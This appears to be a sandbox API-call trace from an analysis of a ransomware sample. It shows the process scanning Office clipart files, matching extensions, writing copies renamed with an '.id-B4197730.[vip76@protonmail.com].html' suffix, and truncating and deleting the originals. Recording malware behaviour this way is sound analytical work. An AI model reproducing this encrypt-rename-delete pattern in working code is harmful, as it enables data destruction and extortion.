	[0075.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.297] lstrlenW (lpString=".zip") returned 4
	[0075.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.297] lstrlenW (lpString=".rar") returned 4
	[0075.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.297] lstrlenW (lpString=".bz2") returned 4
	[0075.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.297] lstrlenW (lpString=".7z") returned 3
	[0075.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.297] lstrlenW (lpString=".dbf") returned 4
	[0075.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.298] lstrlenW (lpString=".1cd") returned 4
	[0075.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.298] lstrlenW (lpString=".jpg") returned 4
	[0075.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.298] lstrlenW (lpString=".doc") returned 4
	[0075.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString=".docx") returned 5
	[0075.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.298] lstrlenW (lpString=".pdf") returned 4
	[0075.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString=".xls") returned 4
	[0075.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.298] lstrlenW (lpString=".xlsx") returned 5
	[0075.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.298] lstrlenW (lpString=".ppt") returned 4
	[0075.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.298] lstrlenW (lpString=".zip") returned 4
	[0075.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.298] lstrlenW (lpString=".rar") returned 4
	[0075.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString=".bz2") returned 4
	[0075.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.298] lstrlenW (lpString=".7z") returned 3
	[0075.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.299] lstrlenW (lpString=".dbf") returned 4
	[0075.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.299] lstrlenW (lpString=".1cd") returned 4
	[0075.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.299] lstrlenW (lpString=".jpg") returned 4
	[0075.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.299] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.299] lstrlenW (lpString="BL00923_.WMF") returned 12
	[0075.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.299] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=6256) returned 1
	[0075.299] CloseHandle (hObject=0x380) returned 1
	[0075.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220
	[0075.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.300] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.300] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.300] GetLastError () returned 0x0
	[0075.300] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1870, lpOverlapped=0x0) returned 1
	[0075.303] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1880, lpOverlapped=0x0) returned 1
	[0075.304] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.304] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.304] SetEndOfFile (hFile=0x370) returned 1
	[0075.304] CloseHandle (hObject=0x370) returned 1
	[0075.305] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.305] SetEndOfFile (hFile=0x380) returned 1
	[0075.306] CloseHandle (hObject=0x380) returned 1
	[0075.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.306] lstrlenW (lpString=".doc") returned 4
	[0075.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.306] lstrlenW (lpString=".docx") returned 5
	[0075.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.306] lstrlenW (lpString=".pdf") returned 4
	[0075.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString=".xls") returned 4
	[0075.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.307] lstrlenW (lpString=".xlsx") returned 5
	[0075.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.307] lstrlenW (lpString=".ppt") returned 4
	[0075.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString=".zip") returned 4
	[0075.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.307] lstrlenW (lpString=".rar") returned 4
	[0075.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString=".bz2") returned 4
	[0075.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString=".7z") returned 3
	[0075.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString=".dbf") returned 4
	[0075.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString=".1cd") returned 4
	[0075.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString=".jpg") returned 4
	[0075.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.307] lstrlenW (lpString=".doc") returned 4
	[0075.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString=".docx") returned 5
	[0075.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.308] lstrlenW (lpString=".pdf") returned 4
	[0075.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString=".xls") returned 4
	[0075.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.308] lstrlenW (lpString=".xlsx") returned 5
	[0075.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.308] lstrlenW (lpString=".ppt") returned 4
	[0075.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.308] lstrlenW (lpString=".zip") returned 4
	[0075.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.308] lstrlenW (lpString=".rar") returned 4
	[0075.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString=".bz2") returned 4
	[0075.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString=".7z") returned 3
	[0075.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.308] lstrlenW (lpString=".dbf") returned 4
	[0075.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.308] lstrlenW (lpString=".1cd") returned 4
	[0075.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0075.308] lstrlenW (lpString=".jpg") returned 4
	[0075.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.309] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.309] lstrlenW (lpString="BL00932_.WMF") returned 12
	[0075.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.309] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=19476) returned 1
	[0075.309] CloseHandle (hObject=0x380) returned 1
	[0075.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220
	[0075.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.309] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.310] GetLastError () returned 0x0
	[0075.310] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x4c14, lpOverlapped=0x0) returned 1
	[0075.312] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x4c20, lpOverlapped=0x0) returned 1
	[0075.313] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.313] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.314] SetEndOfFile (hFile=0x370) returned 1
	[0075.314] CloseHandle (hObject=0x370) returned 1
	[0075.316] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.316] SetEndOfFile (hFile=0x380) returned 1
	[0075.317] CloseHandle (hObject=0x380) returned 1
	[0075.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString=".doc") returned 4
	[0075.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString=".docx") returned 5
	[0075.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.318] lstrlenW (lpString=".pdf") returned 4
	[0075.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString=".xls") returned 4
	[0075.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.318] lstrlenW (lpString=".xlsx") returned 5
	[0075.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.318] lstrlenW (lpString=".ppt") returned 4
	[0075.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString=".zip") returned 4
	[0075.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.318] lstrlenW (lpString=".rar") returned 4
	[0075.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString=".bz2") returned 4
	[0075.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString=".7z") returned 3
	[0075.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString=".dbf") returned 4
	[0075.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString=".1cd") returned 4
	[0075.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.318] lstrlenW (lpString=".jpg") returned 4
	[0075.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString=".doc") returned 4
	[0075.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString=".docx") returned 5
	[0075.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.319] lstrlenW (lpString=".pdf") returned 4
	[0075.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString=".xls") returned 4
	[0075.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.319] lstrlenW (lpString=".xlsx") returned 5
	[0075.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.319] lstrlenW (lpString=".ppt") returned 4
	[0075.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString=".zip") returned 4
	[0075.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.319] lstrlenW (lpString=".rar") returned 4
	[0075.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString=".bz2") returned 4
	[0075.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString=".7z") returned 3
	[0075.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString=".dbf") returned 4
	[0075.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString=".1cd") returned 4
	[0075.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68
	[0075.319] lstrlenW (lpString=".jpg") returned 4
	[0075.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.320] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.320] lstrlenW (lpString="BL00985_.WMF") returned 12
	[0075.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.320] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3768) returned 1
	[0075.320] CloseHandle (hObject=0x380) returned 1
	[0075.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220
	[0075.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.320] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.320] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.321] GetLastError () returned 0x0
	[0075.321] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xeb8, lpOverlapped=0x0) returned 1
	[0075.322] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0075.323] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.323] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.324] SetEndOfFile (hFile=0x370) returned 1
	[0075.324] CloseHandle (hObject=0x370) returned 1
	[0075.326] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.326] SetEndOfFile (hFile=0x380) returned 1
	[0075.327] CloseHandle (hObject=0x380) returned 1
	[0075.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1
	[0075.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.327] lstrlenW (lpString=".doc") returned 4
	[0075.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.327] lstrlenW (lpString=".docx") returned 5
	[0075.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.327] lstrlenW (lpString=".pdf") returned 4
	[0075.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.327] lstrlenW (lpString=".xls") returned 4
	[0075.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.327] lstrlenW (lpString=".xlsx") returned 5
	[0075.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.327] lstrlenW (lpString=".ppt") returned 4
	[0075.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68
	[0075.328] lstrlenW (lpString=".zip") returned 4
